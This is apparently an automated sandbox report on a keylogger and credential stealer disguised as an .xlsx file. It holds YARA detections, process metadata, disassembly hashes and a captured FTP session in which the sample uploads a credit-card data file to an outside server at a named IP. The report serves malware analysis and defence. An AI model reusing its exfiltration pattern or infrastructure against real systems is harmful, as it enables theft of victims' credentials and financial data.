Jul 17, 2024 14:17:28.034118891 CEST	21	49756	213.189.52.181	192.168.2.4	227 Entering Passive Mode (213,189,52,181,246,38)
Jul 17, 2024 14:17:28.039921999 CEST	49756	21	192.168.2.4	213.189.52.181	STOR xlxabu562258 - CreditCard ID - ZyiAEnXWZP1822138434.txt
Jul 17, 2024 14:17:28.701682091 CEST	21	49756	213.189.52.181	192.168.2.4	150 Accepted data connection
Jul 17, 2024 14:17:28.901737928 CEST	21	49756	213.189.52.181	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.300 seconds (measured here), 1.14 Kbytes per second

Target ID:	0
Start time:	08:17:00
Start date:	17/07/2024
Path:	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"
Imagebase:	0x9c0000
File size:	739'328 bytes
MD5 hash:	6FD5C95F3BC8AC876F1BABED1B839DCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:17:00
Start date:	17/07/2024
Path:	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"
Imagebase:	0x40000
File size:	739'328 bytes
MD5 hash:	6FD5C95F3BC8AC876F1BABED1B839DCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	43
Total number of Limit Nodes:	8

Executed Functions

Function 02B5A690 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B5A8E6

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e5d4063b10d9e62627f7fd8fc16be9bc1f28e2ca8430484c22b5dcd712737d90
Instruction ID: 576ba3ad74b39b829722e4037378cb64c20b2c1e7b577b4dee488b4359fe645c
Opcode Fuzzy Hash: e5d4063b10d9e62627f7fd8fc16be9bc1f28e2ca8430484c22b5dcd712737d90
Instruction Fuzzy Hash: CC7123B0A00B158FD724DF29D15475ABBF1FF48304F108A6ED88AEBA50DB74E945CB90

Function 02B5CB58 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B5CB26,?,?,?,?,?), ref: 02B5CBE7

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7cbc093a41da292bd1e97fc5e39436092dd136bbf766d593fcee1f9a0c1b1f21
Instruction ID: 8ea52f79d053a311ff8aae077d96b30072ae452ff1e1f0460c5691134be65f70
Opcode Fuzzy Hash: 7cbc093a41da292bd1e97fc5e39436092dd136bbf766d593fcee1f9a0c1b1f21
Instruction Fuzzy Hash: AC2103B5900308AFDB10CFAAD985ADEBFF5EB48310F14845AE918A3350D378A944CFA0

Function 02B5BDE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B5CB26,?,?,?,?,?), ref: 02B5CBE7

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8c872e7ef14af92b4e9efcaac58998503802490f2701e00c5a2c5232d9ed754f
Instruction ID: 76ddc8572eb34bf90d762dd108a8850e9baaf8966d62b287ba2c67bad4aa1daa
Opcode Fuzzy Hash: 8c872e7ef14af92b4e9efcaac58998503802490f2701e00c5a2c5232d9ed754f
Instruction Fuzzy Hash: 3221D2B590035C9FDB10CFAAD984ADEBFF5EB48310F14805AE918A7350D378A954CFA4

Function 02B5A100 Relevance: 1.6, APIs: 1, Instructions: 63
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02B5A961,00000800,00000000,00000000), ref: 02B5AB72

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9e015a790397548475e3e20e97bbc542c72ee3ac4da19da51874ed6fe50dd840
Instruction ID: 60099d7bef9f5eb5c6ca28b93d0f1219f21f697be8d17a4c47540a166d0f4878
Opcode Fuzzy Hash: 9e015a790397548475e3e20e97bbc542c72ee3ac4da19da51874ed6fe50dd840
Instruction Fuzzy Hash: 8C2157B68043588FDB10CF9AC844ADEBFF4EB99320F14819AD959AB211C374A544CFA5

Function 02B5A118 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02B5A961,00000800,00000000,00000000), ref: 02B5AB72

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b80688e69d11fa7ecc21a6f98abe4a250f09b82c2def9ccb0051375c259eef6b
Instruction ID: ebd2882db5e16b0b57b8513c4cde85f54796ec2b336ac14235f02e147359fabf
Opcode Fuzzy Hash: b80688e69d11fa7ecc21a6f98abe4a250f09b82c2def9ccb0051375c259eef6b
Instruction Fuzzy Hash: CA1114B6D003198FDB10CF9AD444B9EFBF5EB48310F10856AD919B7200C379A545CFA5

Function 02B5AB00 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02B5A961,00000800,00000000,00000000), ref: 02B5AB72

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3ff7f29a15e8fe3a9216cd816029bda753722a5360cdf2620bbe2000eadd246c
Instruction ID: e9251a00f129ea0bf5807aa3ee89bf0f75f9a7e65beb09195b21d3fade4b3f27
Opcode Fuzzy Hash: 3ff7f29a15e8fe3a9216cd816029bda753722a5360cdf2620bbe2000eadd246c
Instruction Fuzzy Hash: 541112B6C002098FDB10CF9AC544B9EFBF5EB48320F14855AD929B7240C379A545CFA0

Function 02B5A880 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B5A8E6

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 022c0aac528fd330a66dcc5ff7fb4083c76dc9ad21b5de6c03b5c265783164da
Instruction ID: 7f72b36eba1e80cacd3b79a038ef2ecdf1400fe46bf9f7d57b75674010d1ac4c
Opcode Fuzzy Hash: 022c0aac528fd330a66dcc5ff7fb4083c76dc9ad21b5de6c03b5c265783164da
Instruction Fuzzy Hash: 3D110FB6C003598FCB10DF9AD444B9EFBF4EB88324F10856AD819B7240C379A645CFA1

Function 07239014 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0723B165

Memory Dump Source

Source File: 00000000.00000002.1688744472.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7230000_DC74433Y7889021.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 75670c88a66c36cffb8947d8ca536376c712eab21afe1186d49592679081d1a8
Instruction ID: d67cb581cfca941e9ad864bac78f2643d22a8efead2efc674082da82d8c3b3a2
Opcode Fuzzy Hash: 75670c88a66c36cffb8947d8ca536376c712eab21afe1186d49592679081d1a8
Instruction Fuzzy Hash: BF11F5F58103499FDB10DF99C889BDFBBF8EB48310F108459E958A7250C375A944CFA1

Function 0723B100 Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0723B165

Memory Dump Source

Source File: 00000000.00000002.1688744472.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7230000_DC74433Y7889021.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7824a4d2c60807171e9db8944271595bd3c429bc39c6e5f2800f473484d00275
Instruction ID: a3240a09eca3bfb166203c4f91ca76ccc61cc0cea4f9e50bd4ffde91ba560332
Opcode Fuzzy Hash: 7824a4d2c60807171e9db8944271595bd3c429bc39c6e5f2800f473484d00275
Instruction Fuzzy Hash: 3811F2B5800349DFDB10DF9AD889BDEBBF8EB48320F10841AE958A3240C375A944CFA1

Function 02AFD4CC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682002867.0000000002AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2afd000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88a457f2c847531bc951bb66a663ef0cc6cdae6a6287c0241f5417b12a7d803
Instruction ID: a678b602dee5dbe1a83f5011d898ebc829e15190f0d6543472c10e54e90267a6
Opcode Fuzzy Hash: e88a457f2c847531bc951bb66a663ef0cc6cdae6a6287c0241f5417b12a7d803
Instruction Fuzzy Hash: 222148B1504604DFDB06DF54D9C0B26BF65FB94328F20C568EA0A0B256C73AD416C7A1

Function 02B0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682043213.0000000002B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b0d000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26b3bbd3f6333ac71057f8ff4ab3d24b9e13ba2810a76ae755abbda9429dac0
Instruction ID: d65acd170c499014bef010866ac788ef0ca450f96a1ca372ed3ef717f0cb354c
Opcode Fuzzy Hash: e26b3bbd3f6333ac71057f8ff4ab3d24b9e13ba2810a76ae755abbda9429dac0
Instruction Fuzzy Hash: 8821F1716042019FDB16DF54D8D4F16BFA5EB84314F20C5A9D80E4B2C2D336D406CA61

Function 02B0D1EC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682043213.0000000002B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b0d000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62e194e14e01016b0fcb1c2ee6d1ea14aee0e0c621c6fe5ce053219d08853a94
Instruction ID: 95236a4b2f1e7475a44ba912a2105be2a87ec1ec1e2dd071c6a9536cb5809895
Opcode Fuzzy Hash: 62e194e14e01016b0fcb1c2ee6d1ea14aee0e0c621c6fe5ce053219d08853a94
Instruction Fuzzy Hash: 952125B56043019FDB02DF94D5C0B16BFA5FB88324F20CAADD84A0B3D2C336D846CAA1

Function 02B0D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682043213.0000000002B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b0d000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389907817ba7052e12c0628d1545015517beb450a0eb0f9648c4c042b48afdeb
Instruction ID: 0ad0c53f01eac18826fd28312f33af14b622fd9c6ccebf4d2cdb59701a1bc6b5
Opcode Fuzzy Hash: 389907817ba7052e12c0628d1545015517beb450a0eb0f9648c4c042b48afdeb
Instruction Fuzzy Hash: D02150755083809FCB13CF54D9D4B11BF71EB46314F28C5DAD8498B2A7D33A985ACB62

Function 02AFD4C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682002867.0000000002AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2afd000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 6b41a4a4c4cfef6bc4e62dbf13d340a9d943ce022aca703c73726f72691ac8c7
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 5B11E676504644CFCB06CF50D5C4B16BF72FB94324F24C6A9E9090B256C33AD45ACBA2

Function 02B0D1E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682043213.0000000002B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b0d000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 79005751a48683ae8d649a4b191093cd06ea8a4b94eef6c8857e6c4445a4dba8
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 06118B75904284DFDB06CF54D5C4B15BFA2FB88324F24C6ADD8494B696C33AD84ACBA1

Non-executed Functions

Function 02B5D3DC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1686449847.0000000002B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173ff0bc2b7ae11b47b7e0aed08ca783a6eb8e6b818b6da3111413c8f5f60d83
Instruction ID: 41deb8e76d9e4dbb085ebe3715b2509865020fd9423255002a30f8e683c80137
Opcode Fuzzy Hash: 173ff0bc2b7ae11b47b7e0aed08ca783a6eb8e6b818b6da3111413c8f5f60d83
Instruction Fuzzy Hash: 84A16032E0061A8FCF09DFB5C84469EB7B2FF85304B1585AAE806AF261DB71E955CF50

Analysis Process: DC74433Y7889021.xlsx.exePID: 2992, Parent PID: 2488COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.4%
Total number of Nodes:	110
Total number of Limit Nodes:	12

Executed Functions

Function 023B6FC8 Relevance: 6.8, Strings: 5, Instructions: 517
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(odq, xrefs: 023B7220
,hq, xrefs: 023B728A
(odq, xrefs: 023B753D
,hq, xrefs: 023B7298
(odq, xrefs: 023B7212

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$,hq$,hq
API String ID: 0-2216594193
Opcode ID: 0f5fb83dc6a680fdb3b6c1ca9266cd50bc3513132c56044f13e3813e70547aff
Instruction ID: 68af2e9f1815320ba2e84859de1490d7ce4d9cba009ea373a1427d6f0ab8f67c
Opcode Fuzzy Hash: 0f5fb83dc6a680fdb3b6c1ca9266cd50bc3513132c56044f13e3813e70547aff
Instruction Fuzzy Hash: 47223B72A002199FCB16CF69C984AEDFBF6FF88305F15846AE905EBA61D730D941CB50

Function 023BC146 Relevance: 6.5, Strings: 5, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljkp, xrefs: 023BC38D
PHdq, xrefs: 023BC3EF
Ljkp, xrefs: 023BC377
PHdq, xrefs: 023BC400
0okp, xrefs: 023BC20A

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: d1a9f5c87ca59cce2059f4ea69d259097d5373c8751d86e30034fd5c31f65bc3
Instruction ID: 9da4efba055602e497d79796fca4f41e8cce7846159b424902e92eac855902cf
Opcode Fuzzy Hash: d1a9f5c87ca59cce2059f4ea69d259097d5373c8751d86e30034fd5c31f65bc3
Instruction Fuzzy Hash: 27B10474E002189FDB25CFA9D884A9DBBF2BF89300F14D46AE509AB761DB349842CF50

Function 023B5362 Relevance: 6.4, Strings: 5, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljkp, xrefs: 023B5550
0okp, xrefs: 023B53E2
PHdq, xrefs: 023B55D9
Ljkp, xrefs: 023B5566
PHdq, xrefs: 023B55C8

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: 75cd1af2c950959f2e7983a093c78e3e5c995aab2928dea29b315c98cd6fbee2
Instruction ID: 3b9d7eaf3a522f8ddc5f271a0f2e79baf6d0aeb4d7ce6c96316665b49b9ffda2
Opcode Fuzzy Hash: 75cd1af2c950959f2e7983a093c78e3e5c995aab2928dea29b315c98cd6fbee2
Instruction Fuzzy Hash: 2091B174E00218CFDB15DFA9D984ADEBBF2BF88301F14806AD509AB365DB749945CF50

Function 023BC468 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0okp, xrefs: 023BC4DA
Ljkp, xrefs: 023BC65D
PHdq, xrefs: 023BC6BF
Ljkp, xrefs: 023BC647
PHdq, xrefs: 023BC6D0

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: d6a72ef0906774d327873f6481041979ed1cb21ee49bd870489c643c450ba64f
Instruction ID: a4119885582a71799d126b78258c1ca4dc0d8a9ec3e86c0679b2b7e968cd1d5e
Opcode Fuzzy Hash: d6a72ef0906774d327873f6481041979ed1cb21ee49bd870489c643c450ba64f
Instruction Fuzzy Hash: AD81B2B4E00218CFDB15DFAAD944B9DBBF2BF88300F24946AE519AB355DB709981CF50

Function 023BD278 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0okp, xrefs: 023BD2EA
Ljkp, xrefs: 023BD457
PHdq, xrefs: 023BD4E0
Ljkp, xrefs: 023BD46D
PHdq, xrefs: 023BD4CF

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: 1f3397da79f5031f8af183f3eedb0b038071075cffd2f7eed9ad823066061ead
Instruction ID: 0da8703f6ffea66926d9e197639d2b7b5b05d48c760b500454d5c083223effca
Opcode Fuzzy Hash: 1f3397da79f5031f8af183f3eedb0b038071075cffd2f7eed9ad823066061ead
Instruction Fuzzy Hash: CE81B3B4E01218CFDB14DFA9D984A9DBBF2BF88300F24C069E519AB765DB349985CF50

Function 023BCA08 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljkp, xrefs: 023BCBFD
0okp, xrefs: 023BCA7A
PHdq, xrefs: 023BCC70
PHdq, xrefs: 023BCC5F
Ljkp, xrefs: 023BCBE7

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: 9e73ec845296a4c06c73bbd3a6c5b78eff016de730899dffcf71527fa06eee5b
Instruction ID: 7418c5e965839110269df26a53b800b5da7335bbc9829f190e166ae4f30929cc
Opcode Fuzzy Hash: 9e73ec845296a4c06c73bbd3a6c5b78eff016de730899dffcf71527fa06eee5b
Instruction Fuzzy Hash: E981C474E00218CFDB14DFAAD884A9DBBF2BF88300F24D46AD519AB365DB709981CF50

Function 023BCCD8 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0okp, xrefs: 023BCD4A
Ljkp, xrefs: 023BCEB7
Ljkp, xrefs: 023BCECD
PHdq, xrefs: 023BCF2F
PHdq, xrefs: 023BCF40

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: c9edd087d05e6a6b90547dcd0bcba04e0b4e175e134dcfa41a5e932bf681c4fb
Instruction ID: cae1a0a3eddf3389628426f64669574ffc508340b77fc814f6ea63a781d23702
Opcode Fuzzy Hash: c9edd087d05e6a6b90547dcd0bcba04e0b4e175e134dcfa41a5e932bf681c4fb
Instruction Fuzzy Hash: 6B81D274E00218CFDB14DFA9D884A9DBBF2BF88301F20D46AE519AB765DB309981CF50

Function 023BCFAA Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0okp, xrefs: 023BD01A
PHdq, xrefs: 023BD1FF
Ljkp, xrefs: 023BD19D
PHdq, xrefs: 023BD210
Ljkp, xrefs: 023BD187

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: 4a043f6bc27ce3fd6e749970ff1c89baccde62f56b1c76b493a937d98ca02d46
Instruction ID: f33268936ac7fbfa9dcc7a00ee78440746f4731e06b4f054474dd0dc3c6a6bcd
Opcode Fuzzy Hash: 4a043f6bc27ce3fd6e749970ff1c89baccde62f56b1c76b493a937d98ca02d46
Instruction Fuzzy Hash: 4281C374E01218CFDB54DFAAD984A9DBBF2BF88300F14C069E519AB765DB349982CF10

Function 023BC738 Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljkp, xrefs: 023BC92D
PHdq, xrefs: 023BC9A0
PHdq, xrefs: 023BC98F
Ljkp, xrefs: 023BC917
0okp, xrefs: 023BC7AA

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 0okp$Ljkp$Ljkp$PHdq$PHdq
API String ID: 0-2148883620
Opcode ID: bb92e283e8dcdcb66fd71a54eccb74eea12fe9f6628a3896b2a672c685130003
Instruction ID: 215ca830ffda38cd4fc3219abf0481c1cde168ef3ee2e769d40952074fdf1eaf
Opcode Fuzzy Hash: bb92e283e8dcdcb66fd71a54eccb74eea12fe9f6628a3896b2a672c685130003
Instruction Fuzzy Hash: 9A81B274E00218CFEB14DFA9D984A9DBBF2BF88300F14D46AD519AB765DB349981CF50

Function 023B9DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

4'dq, xrefs: 023B9F0C
4'dq, xrefs: 023B9E04
(odq, xrefs: 023BA518
4'dq, xrefs: 023BAB13

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: (odq$4'dq$4'dq$4'dq
API String ID: 0-3599379907
Opcode ID: 6ff0a5396b76b2c952ce2370517a86cd062ef4ae34a12dda569777c3a7eb55b0
Instruction ID: de74fa547db53a563689aa178b531627712c848d6bee3bd39dde6a9953d325ef
Opcode Fuzzy Hash: 6ff0a5396b76b2c952ce2370517a86cd062ef4ae34a12dda569777c3a7eb55b0
